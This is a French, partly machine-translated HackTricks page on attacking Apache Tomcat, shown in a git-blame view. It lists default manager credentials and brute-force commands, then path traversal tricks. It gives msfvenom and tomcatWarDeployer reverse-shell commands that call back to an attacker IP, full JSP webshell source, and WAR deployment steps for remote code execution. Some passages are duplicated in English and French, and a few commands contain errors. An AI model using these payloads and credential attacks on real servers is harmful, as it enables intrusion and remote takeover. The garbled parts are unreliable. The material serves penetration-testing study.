hacktricks/network-services-pentesting/pentesting-web/tomcat.md

345 lines
20 KiB
Markdown
Raw Normal View History

2022-07-31 22:37:48 +00:00
# Tomcat
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
2023-06-03 13:10:46 +00:00
## Découverte
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Il fonctionne généralement sur le **port 8080**
* **Erreur courante de Tomcat :**
2022-04-28 16:01:33 +00:00
2022-10-05 21:51:12 +00:00
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## Énumération
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
### Version
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2022-10-02 23:29:55 +00:00
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
2022-10-02 23:29:55 +00:00
```
### Localiser les fichiers du gestionnaire
Il est intéressant de trouver où se trouvent les pages **`/manager`** et **`/host-manager`** car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque par force brute.
2022-10-02 23:29:55 +00:00
### Énumération des noms d'utilisateur
2023-06-03 13:10:46 +00:00
Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
2023-06-03 13:10:46 +00:00
### Identifiants par défaut
Le chemin le plus intéressant de Tomcat est _**/manager/html**_, à l'intérieur de ce **chemin, vous pouvez télécharger et déployer des fichiers war** (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont :
* admin:admin
* tomcat:tomcat
2023-06-03 13:10:46 +00:00
* admin:\<RIEN>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Vous pouvez tester ces identifiants et d'autres en utilisant :
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Un autre chemin **intéressant de Tomcat** est _**/manager/status**_, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à _**/manager/html.**_
2021-08-29 14:16:38 +00:00
2022-07-31 22:37:48 +00:00
### Bruteforce
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
2022-10-02 23:29:55 +00:00
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
2023-06-03 13:10:46 +00:00
## Vulnérabilités
### Divulgation de la trace arrière du mot de passe
2022-01-16 17:15:05 +00:00
Essayez d'accéder à `/auth.jsp` et avec un peu de chance, il pourrait **divulguer le mot de passe dans une trace arrière**.
2022-01-16 17:15:05 +00:00
2023-06-03 13:10:46 +00:00
### Double encodage d'URL
2021-03-24 12:52:26 +00:00
Une vulnérabilité bien connue pour accéder au gestionnaire d'applications est mod_jk dans CVE-2007-1860, qui permet **la traversée de chemin avec double encodage d'URL**.
Pour accéder à la gestion web de Tomcat, allez à : _pathTomcat/%252E%252E/manager/html_
Notez que pour télécharger le webshell, vous devrez peut-être utiliser l'astuce du double encodage d'URL et envoyer également un cookie et/ou un jeton SSRF.\
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser l'astuce du double encodage d'URL.
2022-07-31 22:37:48 +00:00
### /examples
2021-03-24 12:52:26 +00:00
Les scripts d'exemple suivants fournis avec Apache Tomcat v4.x - v7.x peuvent être utilisés par des attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables aux injections de script intersites (XSS) (à partir de [ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
2021-03-24 12:52:26 +00:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
2023-06-03 13:10:46 +00:00
### Traversée de chemin (..;/)
2021-12-23 18:13:55 +00:00
2023-06-03 13:10:46 +00:00
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
2021-12-23 18:13:55 +00:00
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
2021-12-23 18:13:55 +00:00
2023-06-03 13:10:46 +00:00
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
2021-12-23 18:13:55 +00:00
2022-07-31 22:37:48 +00:00
## RCE
Enfin, si vous avez accès au gestionnaire d'applications Web de Tomcat, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
2022-07-31 22:37:48 +00:00
### Limitations
Vous ne pourrez déployer un fichier WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans le fichier _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
2022-07-31 22:37:48 +00:00
### Metasploit
Metasploit est un framework de test de pénétration largement utilisé pour l'exploitation de vulnérabilités dans les systèmes informatiques. Il offre une vaste gamme d'outils et de modules qui permettent aux testeurs de pénétration d'automatiser les attaques et de trouver des failles de sécurité dans les applications et les réseaux.
Metasploit est écrit en Ruby et est disponible en tant qu'outil open source. Il est utilisé par les professionnels de la sécurité pour évaluer la sécurité des systèmes et pour effectuer des tests de pénétration. Metasploit est également utilisé par les hackers éthiques pour tester la sécurité de leurs propres systèmes et pour trouver des vulnérabilités avant que les cybercriminels ne les exploitent.
Le framework Metasploit comprend un certain nombre de modules qui peuvent être utilisés pour effectuer différentes tâches lors d'un test de pénétration. Ces modules peuvent être utilisés pour scanner des réseaux, rechercher des vulnérabilités, exploiter des failles de sécurité et exécuter des attaques spécifiques.
Metasploit est un outil puissant qui nécessite une connaissance approfondie des techniques de test de pénétration et des vulnérabilités informatiques. Il est important de l'utiliser de manière responsable et légale, en obtenant l'autorisation appropriée avant de l'utiliser sur des systèmes qui ne vous appartiennent pas.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Reverse Shell MSFVenom
Le shell inversé MSFVenom est une technique couramment utilisée en pentest pour obtenir un accès distant à un système cible. Il permet à un attaquant de prendre le contrôle du système cible en établissant une connexion réseau inversée.
#### Génération du payload
Pour générer le payload du shell inversé à l'aide de MSFVenom, utilisez la commande suivante :
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<votre_IP> LPORT=<votre_port> -f war > shell.war
```
- `java/jsp_shell_reverse_tcp` : spécifie le type de payload à générer, dans ce cas, un shell inversé JSP pour Tomcat.
- `LHOST` : spécifie votre adresse IP, à laquelle le shell inversé se connectera.
- `LPORT` : spécifie le port sur lequel le shell inversé se connectera.
#### Déploiement du payload
2023-06-03 13:10:46 +00:00
Une fois que vous avez généré le fichier `shell.war`, vous devez le déployer sur le serveur Tomcat de la cible. Vous pouvez le faire en utilisant diverses méthodes, telles que l'envoi du fichier via une vulnérabilité d'injection de fichiers ou en le téléchargeant sur le serveur via une autre vulnérabilité.
2023-06-03 13:10:46 +00:00
Une fois que le fichier `shell.war` est déployé sur le serveur Tomcat, vous pouvez accéder au shell inversé en accédant à l'URL suivante :
2023-06-03 13:10:46 +00:00
```
http://<adresse_IP_cible>:<port_Tomcat>/shell/
2023-06-03 13:10:46 +00:00
```
#### Établissement de la connexion
Lorsque vous accédez à l'URL du shell inversé, une connexion sera établie entre votre machine et le système cible. Vous pourrez alors exécuter des commandes sur le système cible à partir de votre terminal.
Assurez-vous de configurer correctement votre pare-feu et de prendre toutes les précautions nécessaires pour protéger votre système lors de l'utilisation de cette technique.
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2023-06-03 13:10:46 +00:00
Ensuite, **téléchargez le fichier `revshell.war` et accédez-y (**_**/revshell/**_**)**
2023-06-03 13:10:46 +00:00
### Lier et inverser la coquille avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2023-06-03 13:10:46 +00:00
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
#### Téléchargement
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Reverse shell
Un reverse shell est une technique utilisée en pentest pour établir une connexion entre un attaquant et une machine cible à travers un réseau. Cela permet à l'attaquant d'exécuter des commandes sur la machine cible à distance.
Pour établir un reverse shell, l'attaquant doit d'abord compromettre la machine cible en exploitant une vulnérabilité ou en utilisant des techniques d'ingénierie sociale. Une fois que la machine cible est compromise, l'attaquant peut utiliser un script ou un programme pour établir une connexion inversée avec sa propre machine.
Lorsque la connexion est établie, l'attaquant peut exécuter des commandes sur la machine cible comme s'il était directement connecté à celle-ci. Cela peut inclure l'exécution de commandes système, l'accès à des fichiers sensibles, la modification de configurations, etc.
Il est important de noter que l'utilisation d'un reverse shell pour accéder à une machine sans autorisation est illégale et peut entraîner des conséquences juridiques graves. Le reverse shell doit être utilisé uniquement à des fins de pentest légitimes et avec le consentement écrit du propriétaire du système cible.
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
2023-06-03 13:10:46 +00:00
#### Shell de liaison
A bind shell is a type of shell that listens for incoming connections on a specific port. When a connection is established, the bind shell provides a command prompt to the attacker, allowing them to execute commands on the compromised system. This type of shell is commonly used in network pentesting to gain remote access to a target system.
Un shell de liaison est un type de shell qui écoute les connexions entrantes sur un port spécifique. Lorsqu'une connexion est établie, le shell de liaison fournit un invite de commande à l'attaquant, lui permettant d'exécuter des commandes sur le système compromis. Ce type de shell est couramment utilisé dans le pentesting réseau pour obtenir un accès distant à un système cible.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
2023-06-03 13:10:46 +00:00
### Utilisation de [Culsterd](https://github.com/hatRiot/clusterd)
Culsterd is a tool that can be used for penetration testing of Apache Tomcat servers. It provides various modules that can be used to exploit vulnerabilities in Tomcat and gain unauthorized access to the server.
To use Culsterd, you first need to clone the repository from GitHub:
```
git clone https://github.com/hatRiot/clusterd.git
```
Once you have cloned the repository, navigate to the `clusterd` directory and install the required dependencies:
```
cd clusterd
pip install -r requirements.txt
```
After installing the dependencies, you can start Culsterd by running the following command:
```
python clusterd.py
```
This will start the Culsterd console, where you can interact with the various modules and execute attacks against the target Tomcat server.
Culsterd provides modules for different types of attacks, such as brute-forcing passwords, exploiting weak configurations, and uploading malicious files. Each module has its own set of options that can be configured to customize the attack.
To select a module, use the `use` command followed by the module name. For example, to use the `tomcat_manager` module, you would run:
```
use tomcat_manager
```
Once you have selected a module, you can view its options using the `show options` command. This will display a list of configurable options for the selected module.
To set a value for an option, use the `set` command followed by the option name and the desired value. For example, to set the target URL for the `tomcat_manager` module, you would run:
```
set url http://target-tomcat-server.com/manager/html
```
After configuring the options, you can execute the attack by running the `run` command. Culsterd will then attempt to exploit the vulnerability and provide feedback on the success or failure of the attack.
It is important to note that Culsterd should only be used for authorized penetration testing and not for any malicious purposes. Always ensure that you have proper authorization before conducting any tests using Culsterd.
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
2023-06-03 13:10:46 +00:00
### Méthode manuelle - Web shell
Créez **index.jsp** avec ce [contenu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) :
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
2022-10-02 23:29:55 +00:00
# Upload it
```
Vous pouvez également installer ceci (permet l'envoi, le téléchargement et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
2023-06-03 13:10:46 +00:00
### Méthode manuelle 2
2022-10-02 23:29:55 +00:00
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
2022-10-02 23:29:55 +00:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
2022-10-02 23:29:55 +00:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
2022-07-31 22:37:48 +00:00
## POST
Le nom du fichier d'identification de Tomcat est _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Autres moyens de collecter les identifiants Tomcat :
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
2023-06-03 13:10:46 +00:00
## Autres outils de scan Tomcat
2022-07-31 22:37:48 +00:00
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
2022-04-28 16:01:33 +00:00
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>